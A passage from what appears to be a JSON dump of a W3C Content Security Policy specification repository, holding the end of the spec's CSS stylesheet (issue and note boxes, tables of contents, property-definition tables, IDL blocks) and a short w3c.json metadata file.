*/\n[data-link-type=\"property\"]::before,\n[data-link-type=\"propdesc\"]::before,\n[data-link-type=\"descriptor\"]::before,\n[data-link-type=\"value\"]::before,\n[data-link-type=\"function\"]::before,\n[data-link-type=\"at-rule\"]::before,\n[data-link-type=\"selector\"]::before,\n[data-link-type=\"maybe\"]::before {content: \"\\2018\";}\n[data-link-type=\"property\"]::after,\n[data-link-type=\"propdesc\"]::after,\n[data-link-type=\"descriptor\"]::after,\n[data-link-type=\"value\"]::after,\n[data-link-type=\"function\"]::after,\n[data-link-type=\"at-rule\"]::after,\n[data-link-type=\"selector\"]::after,\n[data-link-type=\"maybe\"]::after {content: \"\\2019\";}\n[data-link-type].production::before,\n[data-link-type].production::after,\n.prod [data-link-type]::before,\n.prod [data-link-type]::after { content: \"\"; }\n\n\n/* Element-type link styling */\n[data-link-type=element] { font-family: monospace; }\n[data-link-type=element]::before { content: \"<\" }\n[data-link-type=element]::after { content: \">\" }\n\ndfn { font-weight: bolder; }\na > i { font-style: normal; } /* Instance of term */\n\n.issue, .note, .example, .why {\n\tpadding: .5em;\n\t/* padding: .5rem; /* proposed unit in css3-values */\n\tborder-left-width: .5em;\n\t/* border-left-width: .5rem; /* proposed unit in css3-values */\n\tborder-left-style: solid;\n}\nspan.note, span.issue {\n\tpadding: .1em .5em .15em;\n\tborder-right-width: .5em;\n\tborder-right-style: solid;\n}\n\n/* Open issue / editorial remark; not intended for a final publication */\n.issue {\n\tborder-color: #E05252;\n\tbackground: #FBE9E9;\n\tcounter-increment: issue;\n\toverflow: auto;\n}\n\n.issue:before {\n\tcontent: \"Issue \" counter(issue);\n\tpadding-right: 1em;\n\ttext-transform: uppercase;\n\tcolor: #E05252;\n}\n\n/* Class note is a non-normative note. May be inline or a P or DIV */\n.note, .why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\toverflow: auto;\n}\n\n.normref { color: red }\n.informref { color: green }\n\n/* Example box */\n.example {\n\tborder-color: #E0CB52;\n\tbackground: #FCFAEE;\n\toverflow: auto;\n}\n\n.example:before {\n\tcolor: #B9AB2D;\n\tfont-family: sans-serif;\n}\n\ndetails.why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\tdisplay: block;\n}\n\ndetails.why > summary {\n\tfont-style: italic;\n\tdisplay: block;\n}\n\ndetails.why[open] > summary {\n\tborder-bottom: 1px silver solid;\n}\n\n/* ToC not indented, but font style shows hierarchy */\nul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ }\nul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; }\nul.toc ul ul {margin: 0 0 0 2em; font-style: italic; }\nul.toc ul ul ul {margin: 0}\nul.toc > li {margin: 1.5em 0; padding: 0; }\nul.toc ul.toc li { margin: 0.3em 0 0 0; }\nul.toc a { text-decoration: none; border-bottom-style: none; }\nul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; }\n/*\nul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline}\nul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline}\n*/\n\n/* Section numbers in a column of their own */\nul.toc span.secno {float: left; width: 4em; margin-left: -5em}\nul.toc ul ul span.secno { margin-left: -7em; }\n/*ul.toc span.secno {text-align: right}*/\nul.toc li {clear: both}\nul.toc {margin-left: 5em}\n/* If we had 'tab', floats would not be needed here:\n\t ul.toc span.secno {tab: 5em right; margin-right: 1em}\n\t ul.toc li {text-indent: 5em hanging}\n The second line in case items wrap\n*/\n\nul.index {\n\tlist-style: none;\n}\n\ns, del {text-decoration: line-through; color: red}\nu, ins {text-decoration: underline; color: #080}\n\ndiv.figure, p.figure, div.sidefigure, figure {\n\ttext-align: center;\n\tmargin: 2.5em 0;\n}\ndiv.figure pre, div.sidefigure pre, figure pre {\n\ttext-align: left;\n\tdisplay: table;\n\tmargin: 1em auto;\n}\n.figure table, figure table {\n\tmargin: auto;\n}\ndiv.sidefigure, figure.sidefigure {\n\tfloat: right;\n\twidth: 50%;\n\tmargin: 0 0 0.5em 0.5em\n}\ndiv.figure img, div.sidefigure img, figure img,\ndiv.figure object, div.sidefigure object, figure object {\n\tdisplay: block;\n\tmargin: auto;\n\tmax-width: 100%\n}\np.caption, figcaption, caption {\n\ttext-align: center;\n\tfont-style: italic;\n\tfont-size: 90%;\n}\np.caption:before, figcaption:before {\n\tcontent: \"Figure \" counter(figure) \". \";\n\tfont-weight: bold;\n}\np.caption, figcaption {\n\tcounter-increment: figure;\n}\n\n/* DL list is indented, but figure inside it is not */\ndd { margin-left: 2em }\ndd div.figure, dd figure { margin-left: -2em }\n\nsup {\n\tvertical-align: super;\n\tfont-size: 80%\n}\n\n/* \"Equations\" (not real MathML, but simple HTML) are put in a\nblockquote and may have an equation number. We make sure the\nblockquote has enough margin on the right and then put the equation\nnumber there. */\n\nblockquote {\n\tmargin: 0.5em 4em 0.5em 2em;\n\ttext-indent: 0;\n}\n.eqno {\n\ttext-align: right;\n\tfloat: right;\n\twidth: 3em;\n\tmargin: 0 -4em 0 0;\n\tfont-weight: bold;\n\t/* background: silver; color: black; padding: 0.1em */\n}\n\ntable.equiv-table { border-spacing: 0; margin: 0.5em 0 }\ntable.equiv-table th, table.equiv-table td { padding: 0.3em }\ntable.equiv-table th { text-align: left }\n/* table.equiv-table th:first-child { text-align: right } */\ntable.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 }\ntable.equiv-table { border-bottom: hidden }\ntable.equiv-table { empty-cells: show }\ntable.equiv-table caption { margin: 0.5em 0 0 0 }\n\n/* Style for table of properties */\ntable.proptable {\n\tfont-size: small;\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n\ttext-align: left;\n\tmargin: 1em 0;\n}\n\ntable.proptable td, table.proptable th {\n\tpadding: 0.4em;\n\ttext-align: center;\n}\n\ntable.proptable tr:hover td {\n\tbackground: #DEF;\n}\n\n\n/* Style for table that defines a property or a descriptor */\ntable.propdef, table.propdef-extra, table.descdef, table.definition-table {\n\tborder-spacing: 0;\n\tpadding: 0 1em 0.5em;\n\twidth: 100%;\n\ttable-layout: fixed;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\n\ntable.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td,\ntable.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th {\n\tpadding: 0.5em;\n\tvertical-align: baseline;\n\tborder-bottom: 1px solid #bbd7e9;\n}\n/*\ntable.propdef dfn, table.propdef-extra dfn, table.descdef dfn {\n\tfont-weight: bold;\n\tfont-style: normal\n}\n*/\n\ntable.propdef td:first-child,\ntable.propdef-extra td:first-child,\ntable.descdef td:first-child,\ntable.definition-table td:first-child,\ntable.propdef th:first-child,\ntable.propdef-extra th:first-child,\ntable.descdef th:first-child,\ntable.definition-table th:first-child {\n\tfont-style: italic;\n\tfont-weight: normal;\n\twidth: 8.3em;\n\tpadding-left: 1em;\n}\ntable.propdef td[colspan]:first-child,\ntable.propdef-extra td[colspan]:first-child,\ntable.descdef td[colspan]:first-child,\ntable.definition-table td[colspan]:first-child,\ntable.propdef th[colspan]:first-child,\ntable.propdef-extra th[colspan]:first-child,\ntable.descdef th[colspan]:first-child,\ntable.definition-table th[colspan]:first-child {\n\tfont-style: inherit\n}\ntable.propdef tr:first-child,\ntable.propdef-extra tr:first-child,\ntable.descdef tr:first-child,\ntable.definition-table tr:first-child {\n\n}\n\ntable.propdef > tbody > tr:last-child th,\ntable.propdef-extra > tbody > tr:last-child th,\ntable.descdef > tbody > tr:last-child th,\ntable.definition-table > tbody > tr:last-child th,\ntable.propdef > tbody > tr:last-child td,\ntable.propdef-extra > tbody > tr:last-child td,\ntable.descdef > tbody > tr:last-child td,\ntable.definition-table > tbody > tr:last-child td {\n\tborder-bottom: 0;\n}\n\ntable.propdef tr:first-child th,\ntable.propdef-extra tr:first-child th,\ntable.descdef tr:first-child th,\ntable.definition-table tr:first-child th,\ntable.propdef tr:first-child td,\ntable.propdef-extra tr:first-child td,\ntable.descdef tr:first-child td,\ntable.definition-table tr:first-child td {\n\tpadding-top: 1em;\n}\n\n/* For when values are extra-complex and need formatting for readability */\ntable td.pre {\n\twhite-space: pre-wrap;\n}\n\n/* A footnote at the bottom of a propdef */\ntable.propdef td.footnote,\ntable.propdef-extra td.footnote,\ntable.descdef td.footnote,\ntable.definition-table td.footnote {\n\tpadding-top: 0.6em;\n\twidth: auto\n}\ntable.propdef td.footnote:before,\ntable.propdef-extra td.footnote:before,\ntable.descdef td.footnote:before,\ntable.definition-table td.footnote:before {\n\tcontent: \" \";\n\tdisplay: block;\n\theight: 0.6em;\n\twidth: 4em;\n\tborder-top: thin solid;\n}\n\n/* The link in the first column in the property table (formerly a TD) */\ntable.proptable td .property,\ntable.proptable th .property {\n\tdisplay: block;\n\ttext-align: left;\n\tfont-weight: bold;\n}\n\n\n/* Styling for IDL fragments */\n\npre.idl {\n\tpadding: .5em 1em;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\npre.idl :link, pre.idl :visited {\n\tcolor:inherit;\n\tbackground:transparent;\n}\n\n\n/* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119,\nor, if they do, they don't put them in uppercase. But the following\nclass is provided in case a spec wants to use RFC 2119 terms in\nuppercase in the source. */\n\nem.rfc2119 {\n\ttext-transform: lowercase;\n\tfont-variant: small-caps;\n\tfont-style: normal\n}\n\n/* In Profile specs, a table of required features: */\n\ntable.features th {\n\tbackground: #00589f;\n\tcolor: #fff;\n\ttext-align: left;\n\tpadding: 0.2em 0.2em 0.2em 0.5em;\n}\ntable.features td {\n\tvertical-align: top;\n\tborder-bottom: 1px solid #ccc;\n\tpadding: 0.3em 0.3em 0.3em 0.7em;\n}\n\n\n/* Style for data tables (and properly marked-up proptables) */\n\n.data, .proptable {\n\tmargin: 1em auto;\n\tborder-collapse: collapse;\n\twidth: 100%;\n\tborder: hidden;\n}\n.data {\n\ttext-align: center;\n\twidth: auto;\n}\n.data caption {\n\twidth: 100%;\n}\n\n.data td, .data th,\n.proptable td, .proptable th {\n\tpadding: 0.5em;\n\tborder-width: 1px;\n\tborder-color: silver;\n\tborder-top-style: solid;\n}\n\n.data thead td:empty {\n\tpadding: 0;\n\tborder: 0;\n}\n\n.data thead th[scope=\"row\"],\n.proptable thead th[scope=\"row\"] {\n\ttext-align: right;\n\tcolor: inherit;\n}\n\n.data thead,\n.proptable thead,\n.data tbody,\n.proptable tbody {\n\tcolor: inherit;\n\tborder-bottom: 2px solid;\n}\n\n.data colgroup {\n\tborder-left: 2px solid;\n}\n\n.data tbody th:first-child,\n.proptable tbody th:first-child ,\n.data tbody td[scope=\"row\"]:first-child,\n.proptable tbody td[scope=\"row\"]:first-child {\n\ttext-align: right;\n\tcolor: inherit;\n\tborder-right: 2px solid;\n\tborder-top: 1px solid silver;\n\tpadding-right: 1em;\n}\n.data.define td:last-child {\n\ttext-align: left;\n}\n\n.data tbody th[rowspan],\n.proptable tbody th[rowspan],\n.data tbody td[rowspan],\n.proptable tbody td[rowspan]{\n\tborder-left: 1px solid silver;\n}\n\n.data tbody th[rowspan]:first-child,\n.proptable tbody th[rowspan]:first-child,\n.data tbody td[rowspan]:first-child,\n.proptable tbody td[rowspan]:first-child{\n\tborder-left: 0;\n\tborder-right: 1px solid silver;\n}\n\n.complex.data th,\n.complex.data td {\n\tborder: 1px solid silver;\n}\n\n.data td.long {\n vertical-align: baseline;\n text-align: left;\n}\n\n.data img {\n\tvertical-align: middle;\n}\n\ntable.propdef {\n\ttable-layout: auto;\n}\n.propdef th {\n\tfont-style: italic;\n\tfont-weight: normal;\n\ttext-align: left;\n\twidth: 3em;\n}\ndt dfn code {\n\tfont-size: inherit;\n}\n\n/* Style for switch/case <dl>s */\ndl.switch {\n padding-left: 2em;\n}\ndl.switch > dt {\n text-indent: -1.5em;\n}\ndl.switch > dt:before {\n content: '\\21AA';\n padding: 0 0.5em 0 0;\n display: inline-block;\n width: 1em;\n text-align: right;\n line-height: 0.5em;\n}\n\n\n/* Style for At Risk features (intended as editorial aid, not intended for publishing) */\n.atrisk::before {\n position: absolute;\n margin-left: -5em;\n margin-top: -2px;\n padding: 4px;\n border: 1px solid;\n content: 'At risk';\n font-size: small;\n background-color: white;\n color: gray;\n border-radius: 1em;\n text-align: center;\n}\n\n.toc .atrisk::before { content:none }\n\n\n/* This is mostly to make the list inside the CR exit criteria more compact. */\nol.inline, ol.inline li {display: inline; padding: 0; margin: 0}\nol.inline {counter-reset: list-item}\nol.inline li {counter-increment: list-item}\nol.inline li:before {content: \"(\" counter(list-item) \") \"; font-weight: bold}\n\n/* This styles the obsoletion notice on some of our older/abandoned specs. */\ndetails.annoying-warning[open] {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n\tborder: thick solid red;\n\tborder-radius: 1em;\n\tposition: fixed;\n\tleft: 1em;\n\tright: 1em;\n\tbottom: 1em;\n\tz-index: 1000;\n}\n\ndetails.annoying-warning:not([open]) > summary {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n}\n"
  },
  {
    "path": "w3c.json",
    "content": "{\n  \"group\": [\n    \"49309\"\n  ],\n  \"contacts\": [\n    \"wseltzer\"\n  ],\n  \"shortName\": \"csp\",\n  \"repo-type\": \"rec-track\"\n}"
  }
]